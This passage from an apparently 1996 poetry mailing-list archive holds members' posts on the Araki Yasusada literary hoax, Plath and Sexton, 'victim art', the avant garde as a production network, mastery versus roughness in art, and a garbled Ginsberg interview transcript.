(3) The social narrative that is Asusada's "background" (Japanese survivor of Hiroshima, lost his family, got into the work of Spicer and Barthes in the 1960s, etc) is compelling enough to get the work into places (Grand Street, APR) that, frankly, wouldn't publish Spicer if he was alive today (oh, maybe Grand Street would, now that Corbett's the poetry editor).

(3a) It would be possible to argue that the work crosses over from the ordinary to the publishable BECAUSE of the context the hoax creates -- but I'm not convinced of that.

(4) "Asusada" is the only "poet" publishing right now who foregrounds the horror of nuclear war. Think about that. Is that "tacky"? It may in fact be just the opposite.

(5) "Asusada" also plays on the orientalism of various English-speaking writers/editors/readers in complex ways. Is it an exploitation of it or an expose? I think it may be both, but a lot of what makes people uncomfortable with this

hoax is that it sets it up pretty ambivalently and we don't like to feel those dynamics at play in ourselves -- even when they are.

(6) "Asusada" by now must know that lots of folks recognize the project as a hoax and that when he/they appear in APR or elsewhere they give its editors (and readers) the opportunity to feel for a moment the way Andrew Ross and the editors of Social Text must feel. I hear that same tone of defensiveness in some of the posts on Asusada here that I heard in Ross' replies (there's been more of the same in the Nation of late as well). I think we all know how SILLY that sounds to others. Maybe we should try to hear it in ourselves as well.

(7) Having been the person who first brought Asusada's name up on this list (I wrote a note about how good I thought the work in Conjunctions was), I write this from the perspective of "one of the _taken_."

Having "said" all that, I don't see why anyone would want to stop the publication of this work. I can see that, if the editor were your friend, you might want to let them know that the context is different from/more complex than they might think. But why stop it?

All best,

Ron

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563. Robert Drake
Re: Hoaxification
Sat 20 Jul 1996

---

ron--

author as a social construct? that might be "Asusada", but it
couldn't be "me"...
[chetongueek]

asever
lbd

↑ Index

564. Herb Levy
Re: Hoaxification
Sat 20 Jul 1996

Ron -

Acouple of quick things & then I gotta run.

I agree that my use of the term "stop" was an overstatement, but I still think it makes sense for potential publishers of poetry "by" Yasusada to have the opportunity to make an informed decision of the work they are considering.

Your comparisons with Ern Malley & the recent Social Text fiasco are right on. But those works were submitted for publication to show that the editors were rubes who didn't know what they're doing. This is not the same as the avant garde tradition of false identities, which have most often included collaborations from within an artistic community to "fool" those outside it. One could make the argument that this ispartly what's at work in the Yasusada project, but then where do you draw the line as to who is within & outside of the artistic community under consideration? APR, Grand Street, First Intensity, Conjunctions, Aerial?

At this point there's no way of knowing who Jack Spicer would be "if he were still alive", but APR has published work by others who were in the New American Poetry & so have other mags w/o roots in the experimental tradition that wouldn't (yet) touch anyone in, say, In the American Tree.

I also agree that some of the Yasusada poems are good. But the "social narrative" of the author is becoming more & more of the recent publications, which seem mired in footnotes and other explanatory material. A lot of the APR stuff is letters and journal entries with lots of accompanying apparatus. If this more recent stuff is indicative of the larger project, I think we're ultimately going to see an awkwardly parodistic "novel" with some good poetry in it.

As for Yasusada's being the only poetry dealing with the atomic bombing of Japan, I think you were moving from the Bay area to Philadelphia during at least a part of the fiftieth anniversary of these bombings and so may have missed some of what seemed to be A LOT of related poetry. Much of this work wasn't in an "experimental" tradition, but I think there's a project that Karl Young is involved in that might better fill that bill.

Have a good weekend

Bests

H

Herb Levy

[redacted]

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565. Christina Fairbank Chirot
poetry and nuclear war
Sat 20 Jul 1996

Thanks to Ron Silliman for his thoughtful note re Asusada. A cautionary note is well taken when the issues of censorship and nuclear destruction are found in conjunction. Actually there is an excellent ongoing forum for work concerned with Hiroshima and its ongoing after effects: the International Shadows Project. The Project has mounted exhibits and events for several years now, from here In Milwaukee to California to, this year, Finland. For information on the Project, there is a site at Grist On-Line: http:/ / www.thing.net/~grist Check on Jukka Lehmus' Page for info on how to participate and for photos of this year's work in progress (including wooden dice made by Karl Gartung, of Woodland Pattern Book Center here in Milwaukee). Also on Grist On-Line, check Karl Young's Light and Dust Books for available catalogues of previous Shadows Projects and for Young's poem Three,Hiroshima done as part of the 1990 Project. Get in touch and participate--the anniversary of Hiroshima and Nagasaki is approaching--another way to think of that "deadline".

who are you/the moment is escaping/ we couldn't do anything so hideous/ our death keeps going on and on/we couldn't do anything so hideous/the citadel faces its own darkness/it'll be over in just a minute/the moment is escaping/who are you

from Three, Hiroshima by Karl Young

---get in touch with the International Shadows Project--

--dave baptiste chirot

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566. Curt Anderson
Re: Hoaxification
Sat 20 Jul 1996

My impression of the Asusada hoax is quite different from Ron Silliman's. I don't think the poems are particularly good, and I doubt they would have been widely accepted independent of their poetically correct pedigree. The instructive and insidious thing about the work is that it manipulates the editor, and thus the reader, by virtue of the circumstances it clothes itself in. It presents itself as exotic, critically and aesthetically current, and socially conscious. I acknowledge the value of appropriation of materials to some extent, but appropriating identities is something else altogether, especially when that identity manipulates its relationship to an event in which thousands of innocent people

were extinguished. I got thrown off the list by the Eudora bouncer, and haven't been privy to previous posts on the subject, other than Silliman's, but I know a couple editors who have been taken in by the hoax and the distress the publication of misrepresented material has caused them. Just thought I'd put in my monthly two bits, Ron. Now back to the darkness.

Curt Anderson
[redacted]

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567. Mark Wallace
avant garde as production network
Sat 20 Jul 1996

Dear David Baratier:

I have some sympathy for the problems you speak about regarding being "a card-carrying member of the avant garde," that is (and I'm reading you implicitly here) your sense that working in a range of "avant garde" poetries, you sometimes get the sense that people read that as a committment on your part to believe certain things and not others, to practice certain ways and not others, and yet you're not sure always that you want to believe or practice these things, and certainly not in every instance.

There have been a lot of debates on this list about what the notion of an avant-garde really could be in 1996, and whether using the world itself is even valid, so I don't think at this time I really want to repeat those arguments here. But what I would suggest, as a way of thinking about the problems you bring up, is two different definitions of avant garde, both of which describe different areas of pheonomena. One is that group of poems which at various points and times have been described by that term, the other is a social network of people who claim in various degress to be involved in something called "avant garde" practice.

The difference is important (and could be further characterized). But it seems pretty clear that what's frustrating you, at times anyway, is the issue of the avant garde as a social network committed to the production and distribution of certain kinds of texts. Frankly, many poets actively resist seeing themselves as part of a production "network" at all--they like to think of themselves as free individuals who critique the very notion of production/consumption, and the idea that they themselves are both producers and consumers is an uncomfortable one. What it seems to me that you're questioning, in valuable ways, is your relation to this kind of production activity. Is there really some part of avant garde practice that is just simply capitalist production, is there any part that gets beyond that? Are you, when labelled "a card-carrying member" of the

avant garde, simply a production manager for certain kinds of texts? Are you a member of a significantly oppositional community? Are you committing yourself to the creation only of certain kinds of products, and what if you don't want to create only those products? Are there ways in which the creation of a poem, and the reading of one, can critique or escape production-consumption relations?

A lot of writers have attempted answers to these questions, and many of them have failed, too. I'm just now reading Raymond Williams' THE POLITICS OF MODERNISM in which, so far anyway, he sees the failure of high modernism as the way in which it was eventually "bought out" by capitalist modernity and became the "postmodern," which he reads often as modernism without any real subversive capability, a failure which he sees as arising at least in part from the unresolved internal contradictions of modernism. I've heard this before from Jameson, and thought it was wrong then too--Williams seems to be implying that if postmodern art really was what it should be, then normative capitalist production couldn't continue--therefore, postmodern art must in some way "support" capitalist production. In so saying, I think he misses the idea that postmodernist art can indeed critique capitalist relations of production PERFECTLY, and still not make a damn bit of large scale difference. Why? Because people who make art are not in charge. Should they be?--that's a problem for another day.

I think, finally, that there's no way out of production/consumption relations. HOWEVER, there are different kinds of production, and different kinds of use of that production, not all of them fundamentally exploitative. That is, production is not at all negative by definition--it's only negative when it's a certain KIND of production (at the moment, the mass production of standardized products of relentless and alienating banality, as just one for instance).

The question then becomes, if I want to produce something, how do I conceive of that? And I think I remain committed to the possibility of an "avant garde" not because avant garde art is unproblematic, or because one's existence as a producer of any kind is without ambivalence, but because it's my sense that the "production network" of the avant garde is the only public social environment, at this time, in which such questions are even raised. That is, the avant garde production environment holds out the POSSIBILITY of being a producer who is not deluded about production, that is, of being someone who has become not a producer only but more importantly a CREATOR (a term I'm using here in clearly polemical fashion).

mark wallace

/----------\ |
| | [redacted] "I have not yet begun | |

to go to extremes" || GWU: | | http://gwis2.circ.gwu.edu/~mdw || EPC: || http://writing.upenn.edu/epc/authors/wallace || _____|

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568. **Rod Smith**

Re: Hoaxification

Sat 20 Jul 1996

As Yasusada's "debut" took place in _Aerial 6/7_ with an extremely well-informed, and very funny piece called "Renga and the New Sentence" I thought I'd weigh in on this again. First, I agree with Ron on many points-- whoever's doing it is a very good writer, who is I think aware of the complexities of what they're doing. I'm curious to see what this work in APR will be. Let them publish it, then have the hullabaloo. If it appears and becomes a "controversy" -- I'll be curious to see if APR handles it any better than the Sokal slather. When I published the piece in _Aerial_ I suspected it was fake, or more accurately, was almost sure it was fake. I think on close reading it becomes obvious. The only thing I regret somewhat is the fake Spicer footnote, which I take some responsibility for. I have to admit at the time I published it I thought whoever it was wld come forward sooner. The questions raised re subsuquent publications-- "cashing in" on Hiroshima _are_ very problematic. However, interestingly, many of those who attack Yasusada assume the writer is not Asian or Asian-American-- my guess is they're right, but we don't know that to be the case yet now do we? Maybe "Yasusada" is making a point about "author as construct"-- which is that it's _not_ accepted. Motivation is given primacy within interpretation, & if you don't have an identity to hang that motivation on? Interestingly "the lid" came off at Conjunctions when Harpers wanted to reprint some of the material-- the question of where to send the check. . . I don't know how that was resolved, I doubt anybody got paid anything, even a contributor's copy. One might argue that, as long as Yasusada's identity remains obscure, the gesture is truly purely _literary_. I'm not sure I'd make that argument, & it's all this not-sureness which is fascinating. One is challenged to read the work on its own terms-- which quickly, even more quickly than usual, become our own.

Rod

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569. **Emily Lloyd**
like a big pizza pie, that's Eudora...
Sat 20 Jul 1996

...quick note to say that I, too, had Eudora fall-out like Peter and others, so haven't seen mail from the list in a week--managed to download some garbled messages eventually, so Rob (Hardin)--I know you responded to my last post to you, but don't know what you said--backchannel me, maybe? yers in accidental aloofness, emily

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570. **Kathrine Varnes**
Re: feelingth, nothing more than feelingth... try to forget
Sat 20 Jul 1996

Mainly, I agree with what's been said on this thread, but I've known some art therapists who do wonderful work. What their clients produce may not be "art," but it is valuable. This is different, of course. Therapy as Art, as opposed to Art as Therapy. It operates under different rules, but I'm loathe to completely reject it.

So, what are the 7 seven deadly sins of suburban life anyway? Is this class anxiety, or what, that suburbs are so despised?

But back to Sexton and Plath. Yes, I'm tired of seeing these two names together. You'd think they were joined at the hip. Joining them like this means that one always has to come out on top, our binaried damsels in distress. Enough already. They both struggled. They both wrote.

Kathrine

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571. **maria damon**
Re: feelingth, nothing more than feelingth... try to forget
Sat 20 Jul 1996

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trying again to post something written a few daze ago; my computer's acting funny; most of the discussion has by now covered most of what went thru my mind, esp luigi drake and dodie, but here're my 2 cents;;;

In message "maria damon" writes:
> i have difficulty with the concept of "victim art" as a problem. first of
> all, it's a pejorative term coined by someone who refused to see a dance by a
> well-known choreographer/dancer who is hiv positive and whose show explicitly

> addressed this. so? aren't all registers of human experience reasonable
> material for art? i think she just didn't want to deal with it; or that the
> critical tools she had acquired thru writing and studying were not equipped
> to handle the complexities of the situation, but she couldn't admit that, so
> had to make it the art's problem rather than hers. i think it hard to
> separate art from context, and am not sure what the point is; the phrase
> "the work should stand on its own" seems particularly empty to me. what
about
> something like the diary of anne frank, whose fame is very much due to the
> circumstances under which it was produced? is there a problem with its
> popularity?
> md
>
>
>
>

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572. **maria damon**
Re: feelingth, nothing more than feelingth... try to forget
Sat 20 Jul 1996

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tom bell writes:
 effective therapy has
> never had any connection to personal revalation.

tom: can u say more abt this?

md

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573. **Judy Roitman**
Re: Hoaxification
Sat 20 Jul 1996

Re: "author as construct"

One of Anne Carson's books has as its only biographical note "Anne Carson lives in Canada."

This attempt to deflect attention away from the usual biographical comforts was siezed by a reviewer in the Flash as a clue to hypothesize (not incorrectly, as it turns out) about her persona.

Can't win.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

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574. **Judy Roitman**
Re: feelingth & hoaxification
Sat 20 Jul 1996

Th victim art strand and the Yasusada strand -- aren't they the same?

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

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575. **maria damon**
Re: catching up
Sat 20 Jul 1996

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hi guyzies: i'm recovering from a few days of enforced lurkerhood due to my inability to post messages. it was actually useful to be in th receiving-only position for a while, cuz i found that most of the points i was burning to make were made eventually, though of course w/ different nuances, agendas and conclusions than i may have arrived at. so if my posts seem after-the-fact redundant, that's why.

last night i was part of a "bob kaufman night" at the walker art center. the evening featured allan kornblum of coffee house press hand-pressing (or whatever the term is --hand printing?) a broadside of a kaufman poem, "no more jazz at alacatraz," which was offered free to audience and participants. (kornblum and i have settled our skirmish abt. cranial guitar without my having to bring a formal grievance, btw). i picked up a bunch, so ---if you want one, send me yr snail mail and i'll mail you one.. . first five folks to respond get um.

on plath/sexton: there's no doubt in my mind that plath is by far the superior poet. also, i think when both plath and sexton use nazi/holocaust imagery to express their own pain they are telling us how painful in fact life was for middle class women in the 50s and early 60s. i'm pretty into my jewishness and the horror of the holocaust and all that, but for some reason i don't find their

appropriation of images of jewish suffering offensive; it just reminds me of the horror lurking under the plastic image of feminine "fulfillment" in the so-called age of prosperity, probably cuz i can see how destructive those gender expectations were to my older female relatives --my mother, my aunt, etc. however, i must admit to preferring sexton's poetry; i think i'm put off by plath's meanness, and also a sense i get from her of tremendous performance anxiety; she reviles "daddy" but will do anything, including being vicious to others, to get his approval...hard to substantiate, and as far as i know she was not a vicious person, but it's a subtext i pick up from the strenuous brilliance of her performances in verse...whereas sexton seems so desperate to be liked in her verse that i feel more invited to interact w/ it, it seems "warmer," whatever that means. at the same time, it really irked me when, as a teenager in the 1970s, i'd tell people i wrote poetry and they assumed my models were plath and sexton and that i was doomed to suicide, or wanted to be, or something--like, they couldn't see past my gender and my class..... it may be that, in general, i'm attracted to art that's not perhaps as technically "perfect" as other art, or as ambitious...for instance, as i wrote to bob von hallberg, i've never been that drawn to pound or eliot (though i prefer pound's aesthetic risk-taking over eliot), though they are the acknowledged masters of the modernist era. stein, it seems to me, completely sidesteps the issue of "perfection," which is why i find her so brilliant. i also often find i prefer "folk art" to "high art", and that i appreciate roughness and unfinishedness over the dazzling, polished tour de force (the one big exception being hawthorne's short stories, which leave me breathless)... anyway, blah blah blah. md

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576. **maria damon**

Re: Hoaxification

Sat 20 Jul 1996

---

i'm with ron on this one.--md

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577. **Gabrielle Welford**

Re: feelingth, nothing more than feelingth... try to forget

Sat 20 Jul 1996

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nNot to dis Rob Hardin here, but I think comparisons between pain hardly every are useful. Who can assess the pain of a small child in an abusive situation, wherever they are? gab.

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578. **Robert J Wilson**
Yasu/Sada
Sat 20 Jul 1996

Re Ron's comments on the "Yasusada" effect in mags like Grand Street and APR, it is helpful to recall the devious page of acknowledgments that Jack Spicer affixed to the "Book of Magazine Verse": "None of the poems in this book have been published in magazines. The author wishes to acknowledge the rejection of poems herein by editors Denise Levertov of THE NATION and Henry Rago of POETRY (Chicago)." At the same time the books of magazine verse were being filled with (what Oppen called) "the Merwin" and "the Simpson" and so on, 'voice' a crafty crafted function of aesthetic/market consistency. So I take "Yasusada" to be a function of that same search for pained subjectivity, cum a glimmer of historical pathos and multicultural aura now that the market has shifted a bit, and a touch of Spicer thrown in for hip measure. By the way, as some Japanese allies here have advised me, "Yasusada" is not a Japanese name: "Yasu" is a name and "Sada" is a name but Yasusada is a hoax name, sort of like calling yourself "Sillimanwilson" and writing about Brass factories and your abjected Japanese aunt. Now Yasu/sada is a real poet, and he is a typesetter for Bamboo Ridge Press when he is not selling futures for Castle and Cook in a taro patch. Cynical reason rules at Grand Street, and I am trying not be cynical and morose about seeing Yasu/sada's face on the baseball-card-like cover of APR next month.

By the way, if you want to see one of the best, weirdest, and most disjunctive love lyrics ever written in USA, see "After the Pastoral, Driving With My Grandfather to the Place Where Scott Coles Died, the realities, an Aside for Rochelle" in Occident Vil 3 (spring/summer 1969) by "Ronald Silliman" who just at that point (as a kid as it were) was tossing off such poems in his sleep. I admired it then, and still do now, let the Yasu/sadas come and go like sneakers on the shelf life shelves. Regards, Rob Wilson

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579. **Nada Gordon**
roughness
Sat 20 Jul 1996

maria damon wrote

> *i'm attracted to art that's not perhaps as technically "perfect" as other art, or as ambitious...for instance, as i wrote to bob von hallberg, i've never been that drawn to pound or eliot (though i prefer pound's aesthetic risk-taking over eliot), though they are the acknowledged masters of the modernist era. stein, it seems to me, completely sidesteps the issue of*

> *"perfection," which is why i find her so brilliant. i also often find i prefer "folk art" to "high art", and that i appreciate roughness and unfinishedness over the dazzling, polished tour de force*

Me too. I prefer sketches to paintings, a clunky ear to grand rhetorical flow, e.g. my students' unfinished utterances, their traces of grappling, sentences "ending" with "but..." -- even when such a rough or naive aesthetic is deliberate (as in tea bowls or Klee drawings). As Kokan (Japanese zen monk of the 14th century) wrote of his students' poems

> Their poems may be halting, uneven, doltish, and clumsy,
> and sometimes make no sense at all; but still, they are
> often filled with a self-possessed purity and integrity
> that make me marvel.

(As quoted in David Pollack's *The Fracture of Meaning*)

Besides, words like "mastery" really get under my skin

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580. Gabrielle Welford
Re: roughness
Sat 20 Jul 1996

Oh, I like this, yes. There's a discussion going on on the MLA grad students list at the moment about plagiarism--a lot of moralistic hohumming--and I do believe so much of that desire to cheat comes from never being valued for the clunky insights, instead the teacherly humanistic "try to better yourself, dear" before you even know who you are! Grrrr. I love to encourage my students to clunk while I clunk along with them. :-) gab.

On Sat, 20 Jul 1996, Nada Gordon wrote:

e.g. my students' unfinished utterances, their traces of grappling,
> sentences "ending" with "but..." -- even when such a rough or naive
> aesthetic is deliberate (as in tea bowls or Klee drawings). As Kokan
> (Japanese zen monk of the 14th century) wrote of his students' poems
>
> Their poems may be halting, uneven, doltish, and clumsy,
> and sometimes make no sense at all; but still, they are
> often filled with a self-possessed purity and integrity
> that make me marvel.
>
> (As quoted in David Pollack's *The Fracture of Meaning*)
>

> Besides, words like "mastery" really get under my skin
>

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581. **Charles Alexander**
Re: roughness
Sun 21 Jul 1996

>maria damon wrote
>
>>i'm attracted to art that's not perhaps as technically
>>"perfect" as other art, or as ambitious...for instance, as i wrote to bob von
>>hallberg, i've never been that drawn to pound or eliot (though i prefer pound's
>>aesthetic risk-taking over eliot), though they are the acknowledged masters of
>>the modernist era. stein, it seems to me, completely sidesteps the issue of
>>"perfection," which is why i find her so brilliant. i also often find i prefer
>>"folk art" to "high art", and that i appreciate roughness and unfinishedness
>>over the dazzling, polished tour de force
>
>Me too. I prefer sketches to paintings, a clunky ear to grand rhetorical
>flow, e.g. my students' unfinished utterances, their traces of grappling,
>sentences "ending" with "but..." -- even when such a rough or naive
>aesthetic is deliberate (as in tea bowls or Klee drawings). As Kokan
>(Japanese zen monk of the 14th century) wrote of his students' poems
>
> Their poems may be halting, uneven, doltish, and clumsy,
> and sometimes make no sense at all; but still, they are
> often filled with a self-possessed purity and integrity
> that make me marvel.
>
>(As quoted in David Pollack's *The Fracture of Meaning*)
>
>Besides, words like "mastery" really get under my skin

I do agree with Maria, but perhaps not so much with Nada -- just that I think sometimes it takes some fairly amazing "mastery" (forgive me) to make works which manage to maintain that roughness or immediacy which is so attractive. Living with a painter for more than a decade now, and one whose work does exhibit that sense of roughness, I find her work (& that of others who manage it) far more interesting than student work (although some students manage it, too)

whose constructions seem so often to not quite know what they want to do. And I may not care that much for grand rhetorical flow, but I think the alternatives might include music like Thelonius Monk's, whose ear I would hardly call "clunky." But yes I do like work which includes its "traces of grappling."

charles

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582. **Nada Gordon**
Re: Yasu/Sada
Sun 21 Jul 1996

Robert Wilson wrote

> *By the way, as some Japanese allies here have advised me, "Yasusada" is not a Japanese name: "Yasu" is a name and "Sada" is a name but Yasusada is a hoax name*

Yes. Sada is the name of the woman in "In the Realm of the Senses" who, um, dismembered her lover. The film is based on a true story.

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583. **Nada Gordon**
Re: roughness
Sun 21 Jul 1996

In reply to Charles Alexander, who wrote

> *I do agree with Maria, but perhaps not so much with Nada -- just that I think sometimes it takes some fairly amazing "mastery" (forgive me) to make works which manage to maintain that roughness or immediacy which is so attractive.*

Well yeah, why do you think I mentioned tea bowls and Klee? Can't we just substitute "practice" for mastery?

> *Living with a painter for more than a decade now, and one whose work does exhibit that sense of roughness, I find her work (& that of others who manage it) far more interesting than student work (although some students manage it, too) whose constructions seem so often to not quite know what they want to do.*

So then for you "mastery" = intention? Hmm. Can we take a poll of listmembers to find out how many of us and how many of our constructions know quite precisely what we/they want to do?

I wasn't talking specifically about student attempts to make art, visual or verbal, but their maneuverings in a distinctly foreign language, a kind of flapping around in a linguistic twilight zone. Tony Green not so long ago posted some

student "mistakes" ("logoparaphernalia") that I perceived as not merely funny but poetic too. Those students obviously didn't know the art value of their words -- mine don't either. Clark Lunberry wrote about this phenom in an article called "The Poetless Poem: Deviant English and the Para-Poetic" that appeared in the "Word" issue of Kyoto Journal #29, 1995. Pat Reed's beautiful chapbook on her experiences teaching Vietnamese and Laotian refugees is infused with her students' 'para-poetic' language.

The startling thing about such language is ... they do it by accident. And it takes a *practiced* reader to perceive it aesthetically.

Anyway for me the problems with the word, the concept, of *mastery* -- aside from the patriarchal/slaveowner overtones -- is the deadness and finality of it. Mastery means the end -- you get your black belt, you don't need to try anymore. Mastery obviates discovery. Recently I heard a poet referred to as "a master of language" and I shuddered at the image -- no more grappling, he'd won the wrestling match.

My students ask me sometimes, Nada, how can I master English? And I say you can't, but that's OK, no one can

(but there are an awful lot of things you can do to practice)

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584. **Carnography**

Re: avant garde as production network

Sun 21 Jul 1996

Mark Wallace:

> *Williams seems to be implying that if postmodern art really was what it should be, then normative capitalist production couldn't continue--therefore, postmodern art must in some way "support" capitalist production. In so saying, I think he misses the idea that postmodernist art can indeed critique capitalist relations of production PERFECTLY, and still not make a damn bit of large scale difference.*
>
> *Why? Because people who make art are not in charge. Should they be?--that's a problem for another day.*

A "perfect" critique of normative capitalist production is not necessarily a perfect solution to the problems of normative capitalist production. Thus, it is questionable that the artist who is put "in charge" will be able to fix or replaced what s/he has successfully criticized.

Semiotics, which was supposed to be our Nietzschean bullshit decoder for linguistic systems of ideological propoganda, has only made advertisers ever more efficient. The problem was not that Barthes's criticism failed. It was that people

used semiotics to encode as well as to decode. The ethical ramifications of Barthes's criticism were often ignored by the very people who were fascinated with his analytical methods.

The artist, forge a new career by running for office?
I'd settle for a society that was responsive to the
conscience of the artist.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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585. **Kevin Killian**
Re: Loy readings
Sun 21 Jul 1996

At 10:16 AM 7/21/96, Maerra Yaffa Shreiber wrote:
>Carolyn Burke (Mina Loy's biographer) will be reading from *Becoming
>Modern* around the Bay area
>during the next few weeks:

> *A Clean Well Lighted Place, August 6, 7:30*

This is Dodie. I've been looking forward to this event, even though readings at A Clean Well Lighted Place give me the creeps--the huge gap that is promoted between reader and audience, everybody feeling very elitist because they read books, etc. This is where I saw Linda Gray Sexton and Donald Spoto (twice).

For those of you who can't make this reading in SF, if you hold tight you'll get a second chance: Carolyn Burke will be speaking on Loy at Small Press Traffic in January.

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586. **Robert Drake**
Re: roughness
Sun 21 Jul 1996

> *... Mastery means the end -- you get your black belt, you don't need to try anymore*

from my understanding of martial arts, nothing could be further from the truth... likewise, not at all how i understood ca's remarks. now, substitute "tenure" for "blackbelt", and i might know of examples that fit... but none of them wd qualify as "masters" in my book...

lbd

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587. Maerra Yaffa Shreiber
Re: Loy readings
Sun 21 Jul 1996

Carolyn Burke (Mina Loy's biographer) will be reading from *Becoming Modern* around the Bay area
during the next few weeks:

> Printer's Inc.- Palo Alto, July 25- 7:30
> Barnes and Noble, Sacremento, August 5, 7:30
> A Clean Well Lighted Place, August 6, 7:30

She is eager to meet poetics folks....

Maeera Shreiber

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588. Kevin Killian
A plea for Ginny
Sun 21 Jul 1996

This is Kevin Killian speaking. I know y'all are busy watching the Olympics and too busy to have yet read the new issue of Minneapolis' "James White Review," which features a new interview with Allen Ginsberg. The interviewers spoke to AG over a speakerphone and had more than the usual trouble transcribing the tapes afterwards, I thought I'd share a few good ones with you:

Who are the good poets of today?

AG: Eileen Myles, Sharon Mesmer, Bono (from U2) , Andy Clausen, and Ann Tyler.

[I have racked my brains to think who "Ann Tyler" could be, but Dodie figured out it must be "Antler," who AG has named for the last 25 years when asked for his favorite poets of today.]

Can you comment on other influences on the Beats?

AG: One of my mentors was William Carlos Williams. I also knew Ezra Pound. We had many connections with the daddies of the past. And the mommies, because when I worked back in the 50s, I sent books to Marianne Moore, and connected with a lot of the womenfolk that were not so well-known-like Marine Heidegger.

[Marine Heidegger, of Fort Atkinson, Wisconsin.]

Tell us a little about Naropa.

AG: West Coast poets Philip Whalen, Gary Snyder, Michael McClure, and Robert Duncan could come and cross paths with Paul Orlovski, Sid Corman, Creeley, John Ashbery, Kenneth Cope, Sharon Holmes and me. About a month ago we did a big, big benefit with Patti Smith and Annie Kay (her guitarist) in Hale Auditorium.

Why is the Beat Generation now of interest to younger people?

AG: The sexual, spiritual liberation, liberation of the word, and the private poetic candor, which actually got us in trouble with the law. We had to overcome the legal trials for 57 to 62, which liberated Henry Miller, Burroughs, Ginny, myself, and everyone like that. The word was liberated.

[Ginny: "Thief's Journal," "Our Lady of the Flowers," "Flowers by Ginny"]

AG: There was the association with the psychedelic world, as well as the whole Eastern meditative world; the old European surrealist world; and the old homemade Americanist Williams, Morrison and Heartly world.

[Context is everything and I believe that AG is referring to the homemade W.C. Williams/Marsden Hartley world.]

What kind of advice would you give to a young poet today just starting out?

AG: Recognize the vast consciousness you already have. Then, if possible, read a lot of Burroughs, Kerouac, Corso, Ginny, and Rimbaud. Maybe get that big book by Pierre Joris and Jerome Rothenberg of international writing. Poems for the Millenium, University of California Press. It's a big, thick, thousand-page book of world poetry.

[Pierre and Jerome, I hope you are including plenty of Ginny's work in Vol 2 of your anthology. Young poets must learn! Have a heart!]

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589. Megana Camille Roy
poetry & performance (plays)
Sun 21 Jul 1996

....Dean Taciuch thinks that what matters is "the language," and worries that actors would be concerned with the emotions and meanings. ...Tony Green worries about a "danger" in the kind of reading he supposes actors would do, and feels that "the poetry is damaged" by it.

In my experience (with poetic plays) there are problems working with conventionally trained actors. Their training doesn't match the task. They look for subtext, psychological underpinnings etc. I've found actors who can go with the

text, the texture and word play etcetera but they're pretty rare. The problem is uncertainty. The actors look for certain responses for the audience and look in the play for ways to get those responses, which may be totally inappropriate to the play. The difficulty is that the confidence of the actors is undermined. The best person to address this is the director, but it's also hard to find directors who can really go with a "poetic play". There's not much interesting writing going on for theatre today and the split between playwrights in the theatre community and every other writing community makes finding the right actors/director harder. An alternative is not to use actors much, but artists and poets and others, as kevin killian does.

camille roy.

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590. **Charles Alexander**
Re: roughness
Sun 21 Jul 1996

No, Nada, I wouldn't want to equate "mastery" with intention. And I don't much like the word either. And I think one can absolutely begin & proceed without quite knowing what one wants to do or where one wants to go -- and still have the final work come out with a surety which is there, and yet which may include, and even reveal, its traces of grapplings. In fact that's what much work I love does. So I think we're probably in agreement more than I realized -- and I thank you for setting me straight about what you mean.

thanks,

charles

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591. **Carnography**
Re: pathos, nothing more than bathos
Sun 21 Jul 1996

Dodie:

> *Rose argues that Plath's*
> *references to the Holocaust, fascism, Rosenbergs, etc., aren't as*
> *gratuituous as they seem.*

Yes, but even though I worship the keyboard you type on, I can't just take your word for it: I'd have to read Rose's argument to know whether or not I agreed. But somehow, I doubt Rose's case is a strong one: Plath isn't citing historical stats about the women in Pakistan. She's talking about herself, her own history, her own psychology, and comparing her plight to that of the survivors of the

holocaust. "Every woman adores a fascist?" Plath and the Jewish women of Dachau's Joy Division occupy two distinct levels of suffering. Many of us have experienced Plath's kind of suffering: mental illness, depression, a sense of political/emotional powerlessness and betrayal, that-gas-in-a-sealed-garage sense of anger helplessly directed inward. However, none of us has ever lived a concentration camp.

> *"Every woman adores a fascist." Of course it's simplistic--and I'm sure Plath knew that in this sing-songy nursery rhyme poem. I think she's very much in control in this poem and is being in-your-face provocative.*

Being in control of one's poetic technique is not the same as maintaining one's historical perspective. And being provocative isn't the same as being perceptive.

> *Plath's hard for a lot of people to like because she's mean. I admire that about her.*

I have no problem with Plath's meanness, when it is focussed and specific. Her anger at Ted Hughes was fine until she reinvented herself as Elektra and railed at the cosmos at large instead of him.

Plath walks a delicate tonal tightrope, as did many of the so-called confessional poets (Snodgrass, for example). Irony on one side, sentimentality on the other. Conscious anger here, intolerance and specious inductive reasoning there. Often, she succeeds. But nearly as often, she fails. "Daddy" is incantatory and effective. But that doesn't mean it is truthful or politically astute.

Also: Pop culture is littered with the corpses of privileged suicides who lashed out at the society that praised them. Kurt Cobain, too, could be "mean," like Plath. But a cruel tone is usually most effective, it seems to me, in humor and satire. At her best, Plath manages a balance of anger and grim wit. Her anger is given some degree of sophistication by her sense of irony.

Unfortunately, "Daddy" is campy in a way that Sylvia Plath never intended. Suicide poetry will always exemplify a certain campiness, no matter how earnest the practitioner. The best poets have grim fun with the role they've assumed.

> *Sexton's the bored well-to-do housewife who drank too much and liked to screw around. Plath at least struggled in her life, financially and socially, had some real tragedy.*

In this context--in the context of lasting craft--what do autobiographical details have to do with the quality of the poet's work? Plath brought up her own suburban life and made parallels to Nazi Germany. That was the only reason I mentioned her life in the burbs.

Yes, I, too, tended to prefer Plath to Sexton, initially. Prosodically--in terms of diction, word-music, formal intricacy--I still do. But a bit of perspective is always in order. Plath could be mannered and shrill. And Sexton was a far better technician at the beginning of her career than she was at the end. _To Bedlam and Part Way Back_ and _All My Pretty Ones_ contain many poems that are in an entirely different mode than Sexton's later work. There is less self-conscious lyricism and more description, as if the slow accretion of detail were a matter of amassed, localized identity. The tone is relatively restrained. I find the narrative range of Sexton's early poems more satisfying than Plath's earlier attempts.

And by the way, to whomever complained about it: Plath and Sexton are usually mentioned together because they were both confessional poets who studied with Lowell, came from the same aesthetic and political milieu, were contemporaries, knew each other, talked about suicide together, wrote about suicide obsessively, were troubled by mental problems, shared the iconography of the asylum, and eventually killed themselves. Yes, I'd say it is a *great injustice* that Plath and Sexton are ever mentioned together.

> *As far as suburban goes, wasn't she*
> *living in London when she wrote "Daddy?" Or maybe she was still in the*
> *country with the bees?*

